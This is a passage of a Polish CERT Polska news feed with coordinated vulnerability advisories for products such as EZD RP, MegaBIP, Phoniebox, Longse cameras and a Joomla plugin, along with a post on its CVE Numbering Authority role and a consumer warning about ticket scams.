&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7265"&gt;CVE-2024-7265&lt;/a&gt; umożliwia użytkownikowi zmianę hasła dowolnego użytkownika, w tym użytkownika "root", co umożliwia eskalację uprawnień. Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7266"&gt;CVE-2024-7266&lt;/a&gt; umożliwia użytkownikowi wylistowanie wszystkich użytkowników w systemie, również tych z innych organizacji.
Powyższe podatności dotyczą oprogramowania EZD RP w wersjach od 15 do 15.84, od 16 do 16.15, od 17 do 17.2.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7267"&gt;CVE-2024-7267&lt;/a&gt; umożliwia użytkownikowi pozyskanie informacji o infrastruturze IP, loginu i hasła systemu EZD RP. Podatność dotyczy EZD RP w wersjach do 19.6.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Jakubowi Płatkowi (NASK-PIB).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Program CVE – pierwszy rok za nami!</title><link href="https://cert.pl/posts/2024/08/rok-cna/" rel="alternate"></link><published>2024-08-01T14:20:00+01:00</published><updated>2024-08-01T14:20:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-01:/posts/2024/08/rok-cna/</id><summary type="html">CERT Polska od roku ma status CNA (CVE Numbering Authority), co pozwala na nadawanie identyfikatorów i publikowanie informacji o podatnościach w programie CVE. W ciągu ostatnich 12 miesięcy nadaliśmy 73 takie identyfikatory podatnościom, także tym odkrytym w ramach naszych działań badawczych.</summary><content type="html">&lt;p&gt;&lt;strong&gt;CERT Polska od roku ma status CNA (CVE Numbering Authority), co pozwala na nadawanie identyfikatorów i publikowanie informacji o podatnościach w programie CVE. W ciągu ostatnich 12 miesięcy nadaliśmy 73 takie identyfikatory podatnościom, także tym odkrytym w ramach naszych działań badawczych.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CVE (Common Vulnerabilities and Exposures) to międzynarodowy program wspierający ujawnianie luk bezpieczeństwa w oprogramowaniu lub sprzęcie komputerowym. Od 1999 r. program ten kataloguje podatności i oznacza je unikalnymi identyfikatorami w postaci “CVE-RRRR-XXXX", które stały się międzynarodowym standardem. Baza CVE jest publiczna i dostępna za darmo dla każdego. Obecnie jest ona podstawą dla organizacji z całego świata w identyfikacji i śledzeniu informacji o nowych lukach bezpieczeństwa.&lt;/p&gt;
&lt;p&gt;Każda osoba, która znajdzie podatność, może zgłosić ją do organizacji będącej CNA, czyli CVE Numbering Authority. Są to organizacje, które oceniają zasadność zgłoszenia, koordynują kontakt pomiędzy zaangażowanymi stronami, nadają podatnościom numery i dbają o jakość bazy. Od 1 sierpnia 2023 r. CERT Polska jako jedyna instytucja w kraju i jako 7. CERT w Europie może nadawać numery CVE, które służą identyfikacji i&amp;nbsp;katalogowaniu publicznie ujawnionych podatności.&lt;/p&gt;
&lt;p&gt;Proces koordynowanego ujawniania podatności (CVD, ang. Coordinated Vulnerability Disclosure) został wprowadzony do europejskiego porządku prawnego poprzez zapisy dyrektywy NIS 2. Zgodnie z dyrektywą każde państwo członkowskie powinno wyznaczyć jeden ze swoich CSIRT-ów do pełnienia roli koordynatora, występującego w razie potrzeby w charakterze Zaufanego Pośrednika między osobami zgłaszającymi a&amp;nbsp;producentami lub dostawcami produktów lub usług ICT. W obecnym projekcie ustawy implementującej dyrektywę NIS 2 planowane jest, aby tym koordynatorem został nasz zespół. &lt;/p&gt;
&lt;p&gt;Warto pamiętać, że koordynowane ujawnianie podatności zazwyczaj jest złożonym i długim procesem, na który składają się: nawiązywanie bezpiecznego kontaktu z właściwym adresatem, usuwanie podatności i dystrybucja poprawionego oprogramowania wśród klientów. Zdarza się, że od zgłoszenia do publikacji informacji mija kilka miesięcy.&lt;/p&gt;
&lt;p&gt;Artykuły zawierające informacje o podatnościach ujawnionych przez Zespół CERT Polska są publikowane na stronie &lt;a href="https://cert.pl/cve/"&gt;cert.pl/cve&lt;/a&gt;. Więcej informacji o obsłudze zgłoszeń podatności przez nasz Zespół jest dostępne na stronie &lt;a href="https://cert.pl/cvd/"&gt;cert.pl/cvd&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="cve"></category><category term="cna"></category><category term="podatność"></category></entry><entry><title>Podatność w oprogramowaniu Stackposts Social Marketing Tool</title><link href="https://cert.pl/posts/2024/07/CVE-2024-7127/" rel="alternate"></link><published>2024-07-30T14:00:00+01:00</published><updated>2024-07-30T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-30:/posts/2024/07/CVE-2024-7127/</id><summary type="html">W oprogramowaniu Stackposts Social Marketing Tool wykryto podatność typu Cross-site Scripting i nadano jej identyfikator CVE-2024-7127.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Stackposts Social Marketing Tool i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7127"&gt;CVE-2024-7127&lt;/a&gt; typu Cross-site Scripting umożliwia przekazanie skryptu w polach formularza rejestracji, który później może być wykonany przez administratora podczas otwierania widoku listy użytkowników. Może to prowadzić do nieuprawnionego pozyskania informacji (np. plików cookie zalogowanego użytkownika).&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania. Nasz zespół potwierdził występowanie tej podatności. Należy przypuszczać, że podatność występuje we wszystkich wersjach oprogramowania.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Jakubowi Przepiórze.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Oszustwa biletowe</title><link href="https://cert.pl/posts/2024/07/oszustwa-biletowe/" rel="alternate"></link><published>2024-07-16T14:00:00+01:00</published><updated>2024-07-16T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-16:/posts/2024/07/oszustwa-biletowe/</id><summary type="html">Wakacje to czas, kiedy słowo „bilet” nabiera szczególnego znaczenia. A skoro „bilet” to wakacyjne słowo-klucz, to jest to też świetny wabik wykorzystywany przez wirtualnych oszustów.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
.article .image-on-left {
    display: inline-block;
    margin: 5px 20px 1.25rem 0;
    float: left;
    width: 100%;
    max-width: 250px;
}
.article .image-on-right {
    display: inline-block;
    margin: 5px 0 1.25rem 20px;
    float: right;
    width: 100%;
    max-width: 250px;
}
@media (max-width: 479px) {
    .article .image-on-right {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
    .article .image-on-left {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/07/oszustwa-biletowe/thumbnail.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wakacje to czas, kiedy słowo „bilet” nabiera szczególnego znaczenia. A skoro „bilet” to wakacyjne słowo-klucz, to jest to też świetny wabik wykorzystywany przez wirtualnych oszustów.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bilety lotnicze w niewiarygodnych cenach, wejściówki na letnie festiwale muzyczne za półdarmo, albo gwarancja wstępu na wydarzenia, na które nie można się już lub jeszcze dostać – każdemu na takie okazje zaświecą się oczy. Niestety, zamiast oczu powinna zaświecić się czerwona lampka 🚨.&lt;/p&gt;
&lt;p&gt;W naszym cyklu wakacyjnym „Cyberparawan” pisaliśmy już o oszustwach „na booking”, czyli podszywaniu się pod hotel lub inną wakacyjną kwaterę w portalach rezerwacyjnych. Oszustwa biletowe są bardzo podobne, ale zamiast atrakcyjnego noclegu wabią niedostępną z różnych względów rozrywką (lub rzadziej przelotem).&lt;/p&gt;
&lt;p&gt;Czym jest zatem oszustwo biletowe lub oszustwo „na fałszywy bilet”?&lt;/p&gt;
&lt;p&gt;Przestępcy mają trzy sposoby działania:&lt;/p&gt;
&lt;h4&gt;Oszustwo biletowe w mediach społecznościowych&lt;/h4&gt;
&lt;p&gt;&lt;img class="image-on-right" src="/uploads/2024/07/oszustwa-biletowe/fb.png" /&gt;  &lt;/p&gt;
&lt;p&gt;Najczęściej spotykanym kanałem tego oszustwa są grupy na portalu Facebook.  &lt;/p&gt;
&lt;p&gt;Janek szuka wejściówki na koncert lub wydarzenie sportowe. Na dedykowanej grupie zamieszcza informację o tym, że chciałby odkupić taki bilet. Już po chwili dostaje kilka wiadomości z ofertami sprzedaży wstępu w bardzo atrakcyjnej cenie. Jedna z nich pochodzi od sympatycznej starszej pani, inna od chłopaka w koszulce klubu sportowego – nie wyglądają na oszustów. Janek musi tylko wybrać osobę, której zaufa, zapłacić uzgodnioną kwotę poprzez BLIK i upragniony bilet będzie jego.  &lt;/p&gt;
&lt;p&gt;🚨🚨🚨  &lt;/p&gt;
&lt;p&gt;Czy Janek właśnie znalazł świetną okazję? Być może. A być może Janek jest o krok od sporego rozczarowania i utraty pieniędzy.  &lt;/p&gt;
&lt;p&gt;Oczywiście nie każda taka transakcja musi być próbą oszustwa. W życiu zdarzają się różne sytuacje i czasem faktycznie trzeba zmienić plany i odsprzedać bilety na atrakcyjne wydarzenia. Pamiętajmy też, że osoba, którą widzimy na zdjęciu profilowym to niekoniecznie ta sama osoba, z którą rozmawiamy. Zdjęcie można ukraść lub stworzyć z użyciem narzędzi AI.  &lt;/p&gt;
&lt;p&gt;Dlatego przy tego typu zakupach należy zachować szczególną czujność. Transakcje na grupach facebookowych opierają się jedynie na zaufaniu i odzyskanie pieniędzy w przypadku oszustwa będzie bardzo trudne.  &lt;/p&gt;
&lt;h4&gt;Oszustwo biletowe za pomocą fałszywej strony internetowej&lt;/h4&gt;
&lt;p&gt;&lt;img class="image-on-left" src="/uploads/2024/07/oszustwa-biletowe/www.png" /&gt;  &lt;/p&gt;
&lt;p&gt;Oszustwa w mediach społecznościowych wymagają od przestępców jedynie zaangażowania i czasu. Przekręt z użyciem fałszywej strony internetowej to już bardziej skomplikowana operacja. Niestety takie oszustwa również się zdarzają.  &lt;/p&gt;
&lt;p&gt;W tym wariancie mamy do czynienia ze stroną internetową, która do złudzenia przypomina stronę sprzedającą bilety na wydarzenia lub pośredniczącą w takiej sprzedaży. Takie działanie już na wejściu może uśpić czujność, w końcu dokonujemy transakcji na znanym serwisie, a nie na grupie tematycznej w mediach społecznościowych.  &lt;/p&gt;
&lt;p&gt;Dalej wszystko toczy się według znanego scenariusza. Wybór biletu, fałszywa bramka płatności, i bardzo często, mail z biletem na wydarzenie. Wejściówka nie wzbudza żadnych podejrzeń. O tym że jest fałszywa, nabywca dowiaduje się dopiero podczas próby wejścia na wydarzenie.  &lt;/p&gt;
&lt;h4&gt;Oszustwo kombinowane&lt;/h4&gt;
&lt;p&gt;&lt;img class="image-on-right" src="/uploads/2024/07/oszustwa-biletowe/combo.png" /&gt;  &lt;/p&gt;
&lt;p&gt;Ten scenariusz uważamy za wyjątkowo wyrafinowany i perfidny. Wszystko toczy się bowiem jak w scenariuszu pierwszym – w mediach społecznościowych. Wróćmy zatem do Janka.  &lt;/p&gt;
&lt;p&gt;Janek znów szuka wejściówki na koncert lub wydarzenie sportowe, wystawia ogłoszenie na grupie na Facebooku i po chwili otrzymuje wiadomości z ofertami sprzedaży wejściowek.&lt;/p&gt;
&lt;p&gt;Tym razem Janek wie, że transakcje na grupach facebookowych są obarczone sporym ryzykiem. Dlatego proponuje, żeby sprzedaż sfinalizować na stronie pośredniczącej w odsprzedaży biletów. Sprzedawca bez problemu się zgadza i już po chwili przesyła Jankowi link do oferty na odpowiednim portalu. Problem w tym, że link ten prowadzi do fałszywej strony i dalej oszustwo toczy się według scenariusza numer dwa.  &lt;/p&gt;
&lt;p&gt;Czasem zdarza się wręcz, że sprzedawca sam z siebie proponuje wystawienie biletu na stronie internetowej. Takie zachowanie może kompletnie uśpić czujność nabywcy. Zwłaszcza w sytuacji, kiedy jego wymarzony bilet zdaje się być tuż na wyciągnięcie ręki.  &lt;/p&gt;
&lt;h3&gt;Jak się chronić?&lt;/h3&gt;
&lt;p&gt;W przypadku transakcji w social mediach złota rada niestety nie istnieje. Tylko od nas zależy, ile jesteśmy w stanie zaryzykować dla wymarzonego biletu.&lt;/p&gt;
&lt;p&gt;Kiedy sprzedawca wysyła nam link do konkretnej oferty, zanim potwierdzimy zakup i przejdziemy do płatności, w drugim oknie przeglądarki spróbujmy wyszukać ofertę na stronie pośrednika. Czy ona na pewno tam jest? Nasze oczy dają się łatwo oszukać – zamiana jednej litery w adresie strony – nie trzeba nawet emocji związanych z zakupami, żeby ją przeoczyć. Jeśli oferty nie ma prawdziwej stronie – prawdopodobnie była to próba oszustwa.&lt;/p&gt;
&lt;p&gt;Obserwujemy również, że na fałszywych stronach, stworzonych w ramach tego oszustwa, JEDYNĄ dostępną formą płatności jest podanie kodu BLIK – zatem taka sytuacja powinna wzbudzić naszą czujność.&lt;/p&gt;
&lt;p&gt;A ostatecznie lepiej stracić upragnione wydarzenie niż upragnione wydarzenie i pieniądze na bilet. W ostatnich kampaniach oszuści przyjmują płatność tylko za pomocą kodów Blik. To dobrze i źle. Źle, bo płatności Blikiem nie da się wycofać z powodu oszustwa – przy kartach płatniczych istnieje taka możliwość. Dobrze, bo kod Blik jest jednorazowy i oszuści nie mogą za jego pomocą wyczyścić nam konta.&lt;/p&gt;
&lt;p&gt;Zachęcamy też do zgłaszania nam takich fałszywych stron internetowych przez formularz na stronie &lt;a href="https://incydent.cert.pl"&gt;https://incydent.cert.pl&lt;/a&gt;. Każda zablokowana strona to udaremniona próba oszustwa.&lt;/p&gt;</content><category term="News"></category><category term="bilety"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Podatności w otwartoźródłowym projekcie Phoniebox</title><link href="https://cert.pl/posts/2024/07/CVE-2024-3798/" rel="alternate"></link><published>2024-07-10T14:00:00+01:00</published><updated>2024-07-10T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-10:/posts/2024/07/CVE-2024-3798/</id><summary type="html">W ramach badań własnych CERT Polska znalazł 2 podatności (CVE-2024-3798 oraz CVE-2024-3799) w otwartoźródłowym projekcie Phoniebox.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł kilka słabości w otwartoźródłowym projekcie &lt;a href="https://github.com/MiczFlor/RPi-Jukebox-RFID"&gt;Phoniebox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;W przypadku obu podatności scenariusz ataku zakłada odwiedziny użytkownika na stronie, która rozsyła żądania HTTP do innych hostów leżących w tej samej sieci lokalnej, ponieważ projekt Phoniebox nie powinien być publicznie dostępny w Internecie.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3798"&gt;CVE-2024-3798&lt;/a&gt; umożliwia wstrzyknięcie komend powłoki, które zostaną wykonane na serwerze, jak również ataki typu Reflected XSS oraz Cross-Site Request Forgery. Odbywa się to poprzez modyfikację parametru &lt;em&gt;file&lt;/em&gt; w żądaniach GET. Z kolei podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3799"&gt;CVE-2024-3799&lt;/a&gt; pozwala na wstrzyknięcie komend powłoki korzystając z modyfikacji parametru &lt;em&gt;body&lt;/em&gt; w żądaniach POST.&lt;/p&gt;
&lt;p&gt;Podatne są wszystkie wydania do 2.7 włącznie. Na chwilę pisania tego artykułu nowsze nie były dostępne, problem może więc dotyczyć również wyższych wersji.&lt;/p&gt;
&lt;p&gt;Na platformie Github został założony &lt;a href="https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2342"&gt;issue&lt;/a&gt; adresujący te problemy.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność SQL injection w oprogramowaniu MegaBIP</title><link href="https://cert.pl/posts/2024/07/CVE-2024-6527/" rel="alternate"></link><published>2024-07-09T16:00:00+01:00</published><updated>2024-07-09T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-09:/posts/2024/07/CVE-2024-6527/</id><summary type="html">W oprogramowaniu MegaBIP wykryto kolejną podatność typu SQL Injection i nadano jej identyfikator CVE-2024-6527.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł kolejną podatność w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6527"&gt;CVE-2024-6527&lt;/a&gt; umożliwia dowolnej osobie na wstrzyknięcie kodu SQL w parametrze "w" w pliku "druk.php", co w konsekwencji może doprowadzić np. do ujawnienia zawartości bazy danych przez atakującego, poznania tokenu administratora czy modyfikacji treści stron. &lt;/p&gt;
&lt;p&gt;Podatność dotyczy programu MegaBIP we wszystkich wersjach do 5.13.&lt;/p&gt;
&lt;h2&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/h2&gt;
&lt;p&gt;Na stronie Ministerstwa Cyfryzacji została opublikowana 
&lt;a href="https://www.gov.pl/web/cyfryzacja/rekomendacja-pelnomocnika-rzadu-ds-cyberbezpieczenstwa-dotyczaca-biuletynow-informacji-publicznej"&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/a&gt;
dotycząca obowiązku niestosowania systemów SmodBIP i MegaBIP, jako platform Biuletynu Informacji Publicznej (BIP) do 
udostępniania informacji publicznej. Zgodnie z informacją Pełnomocnika, obowiązek dotyczy podmiotów krajowego systemu 
cyberbezpieczeństwa, w tym podmiotów publicznych.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w urządzeniach Longse Technology</title><link href="https://cert.pl/posts/2024/07/CVE-2024-5631/" rel="alternate"></link><published>2024-07-09T12:00:00+01:00</published><updated>2024-07-09T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-09:/posts/2024/07/CVE-2024-5631/</id><summary type="html">W oprogramowaniu urządzeń firmy Longse Technology wykryto 4 podatności (od CVE-2024-5631 do CVE-2024-5634).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu urządzeń Longse Technology i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5631"&gt;CVE-2024-5631&lt;/a&gt; w oprogramowaniu urządzeń NVR (Network Video Recorder) model NVR3608PGE2W firmy Longse polega na przesyłaniu w sieci internet loginu i hasła użytkownika do usługi zdalnego sterowania bez użycia szyfrowania. Atakujący posiadający dostęp do komunikacji urządzenia z serwerem jest w stanie przejąć wprowadzanie poświadczenia i użyć ich do uzyskania dostępu do obrazu z kamer. Poświadczenia te są wysyłane, gdy użytkownik zdecyduje się zmienić je w portalu administracyjnym urządzenia NVR. &lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5632"&gt;CVE-2024-5632&lt;/a&gt; w oprogramowaniu urządzeń NVR (Network Video Recorder) model NVR3608PGE2W firmy Longse jest związana z tworzeniem sieci WiFi zabezpieczonej domyślnym, predefiniowanym hasłem. Użytkownik podczas procesu konfiguracji nie jest informowany o konieczności zmiany tego hasła, w instrukcji obsługi również brakuje takiego zalecenia. Atakujący, która zna to predefiniowane hasło (wspólne dla wszystkich urządzeń o tym modeli), jest w stanie uzyskać dostęp do tak utworzonej sieci. &lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5633"&gt;CVE-2024-5633&lt;/a&gt; w oprogramowaniu kamer firmy Longsee o modelu LBH30FE200W  polega na udostępnianiu nieudokumentowanego serwisu na jednym z portów. Znajdujący się w tej samej sieci lokalnej atakujący może wykorzystać dostępne komendy do manipulowania pamięcią urządzenia pod warunkiem znajomości tych komend. Jedną z potencjalnych konsekwencji jest ominięcie uwierzytelniania do usługi &lt;em&gt;telnet&lt;/em&gt; i pełne przejęcie urządzenia.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5634"&gt;CVE-2024-5634&lt;/a&gt; w oprogramowaniu kamer firmy Longsee o modelu LBH30FE200W polega na zabezpieczaniu dostępu do usługi &lt;em&gt;telnet&lt;/em&gt; hasłem, które tworzone jest za pomocą określonego schematu. Atakujący, który pozna ten schemat, jest w stanie przeprowadzić atak typu brute force znacznie niższym kosztem. Jednocześnie kamery posiadające tę samą wersję oprogramowania zabezpieczone są tym samym hasłem. &lt;/p&gt;
&lt;p&gt;Oba produkty nie posiadają juz wsparcia, co oznacza, że producent nie planuje wydać poprawek bezpieczeństwa w celu usunięcia wymienionych luk. Podatne są zarówno produkty firmy Longsee, jak również wszystkie na nich bazujące takie jak ZMB-01/ZMB-01C firmy Zamel. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Adamowi Zambrzyckiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Edito CMS</title><link href="https://cert.pl/posts/2024/07/CVE-2024-4836/" rel="alternate"></link><published>2024-07-02T11:00:00+01:00</published><updated>2024-07-02T11:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-02:/posts/2024/07/CVE-2024-4836/</id><summary type="html">W oprogramowaniu Edito CMS wykryto podatność CVE-2024-4836 pozwalającą na pobieranie plików konfiguracyjnych.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Edito CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4836"&gt;CVE-2024-4836&lt;/a&gt; występuje na stronach zarządzanych przez Edito CMS w wersjach od 3.5 do 3.25 włącznie i pozwala nieautoryzowanemu użytkownikowi na pobieranie plików lokalnych, w tym plików konfiguracyjnych zawierających wrażliwe dane, takie jak dane logowania do bazy danych.&lt;/p&gt;
&lt;p&gt;Oprogramowanie w wersjach wyższych niż 3.25, jak również wydane w wersji niższej po 10 stycznia 2014, nie jest podatne. Możliwe jest ograniczenie skutków występowania tej podatności poprzez zastosowanie pliku konfiguracyjnego dostarczonego przez producenta. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu SOWA OPAC</title><link href="https://cert.pl/posts/2024/07/CVE-2024-6050/" rel="alternate"></link><published>2024-07-01T14:00:00+01:00</published><updated>2024-07-01T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-07-01:/posts/2024/07/CVE-2024-6050/</id><summary type="html">W oprogramowaniu SOWA OPAC wykryto podatność typu Reflected XSS i nadano jej identyfikator CVE-2024-6050.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu dla bibliotek SOWA OPAC firmy SOKRATES-software i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6050"&gt;CVE-2024-6050&lt;/a&gt; typu Reflected Cross-Site Scripting (XSS) umożliwia wykonanie skryptu w przeglądarce użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. 
Podatność dotyczy oprogramowania w seriach 4.x, 5.x i 6.x. Podatność została usunięta w wersjach 4.9.10 i 6.2.12 (wersje z serii 5.x zostały zastąpione przez wersje z serii 6.x).&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu. Dziękujemy także producentowi oprogramowania za natychmiastową reakcję i usunięcie zgłoszonego błędu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Concept Intermedia S@M CMS</title><link href="https://cert.pl/posts/2024/06/CVE-2024-3800/" rel="alternate"></link><published>2024-06-28T14:00:00+01:00</published><updated>2024-06-28T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-28:/posts/2024/06/CVE-2024-3800/</id><summary type="html">W oprogramowaniu Concept Intermedia S@M CMS wykryto 3 podatności różnego typu (CVE-2024-3800, CVE-2024-3801 oraz CVE-2024-3816).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł trzy podatności w oprogramowaniu &lt;a href="https://sam3.pl/"&gt;Concept Intermedia S@M CMS&lt;/a&gt; i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatności &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3800"&gt;CVE-2024-3800&lt;/a&gt; oraz &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3801"&gt;CVE-2024-3801&lt;/a&gt; umożliwiają nieautoryzowanemu użytkownikowi wykonanie ataków typu Reflected Cross-Site Scripting (XSS) wykorzystując strony zarządzane przez S@M CMS poprzez zagnieżdżanie skryptów w różnych miejscach. Są to kolejno: nazwy plików, do których dostępy się żąda, oraz jeden z parametrów zapytań GET. &lt;/p&gt;
&lt;p&gt;Z kolei podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3816"&gt;CVE-2024-3816&lt;/a&gt; pozwala na wykonywanie ataków Blind SQL Injection odpowiednio manipulując frazy wpisywane w&amp;nbsp;wyszukiwarkę. &lt;/p&gt;
&lt;p&gt;Podatności dotyczą wszystkich wersji oprogramowania do 3.3 włącznie. Producent nie dostarczył zespołowi szczegółów dot. powyższych 
podatności. Nie wszystkie serwisy, które korzystają z tego oprogramowania, posiadają wspomniane podatności. 
Możliwe więc, że problem dotyczy jedynie niektórych modułów lub też jest zależny od konfiguracji.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności we wtyczce AdmirorFrames do platformy Joomla!</title><link href="https://cert.pl/posts/2024/06/CVE-2024-5735/" rel="alternate"></link><published>2024-06-28T12:00:00+01:00</published><updated>2024-06-28T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-28:/posts/2024/06/CVE-2024-5735/</id><summary type="html">We wtyczce AdmirorFrames do platformy Joomla!  wykryto 3 podatności różnego typu i nadano im identyfikatory CVE-2024-5735, CVE-2024-5736 i CVE-2024-5737.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach we wtyczce AdmirorFrames do platformy Joomla! i koordynował proces 
ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5735"&gt;CVE-2024-5735&lt;/a&gt; typu Full Path Disclosure występuje w skrypcie afHelper.php i umożliwia nieautoryzowanemu
atakującemu uzyskanie lokalizacji głównego folderu witryny.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5736"&gt;CVE-2024-5736&lt;/a&gt; typu SSRF (Server Side Request Forgery) w skrypcie afGdStream.php umożliwia uzyskanie 
zdalnego dostępu do plików lokalnych lub stron serwera dostępnych normalnie tylko z poziomu lokalnego hosta.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5737"&gt;CVE-2024-5737&lt;/a&gt; jest spowodowana przez skrypt afGdStream.php, który nie określa typu zawartości nagłówka, 
w rezultacie czego używany jest domyślny (text/html). Atakujący może osadzać znaczniki HTML bezpośrednio w danych obrazu, 
które są renderowane przez stronę internetową jako HTML.&lt;/p&gt;
&lt;p&gt;Podatności zostały usunięte przez autora wtyczki w wersji 5.0.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
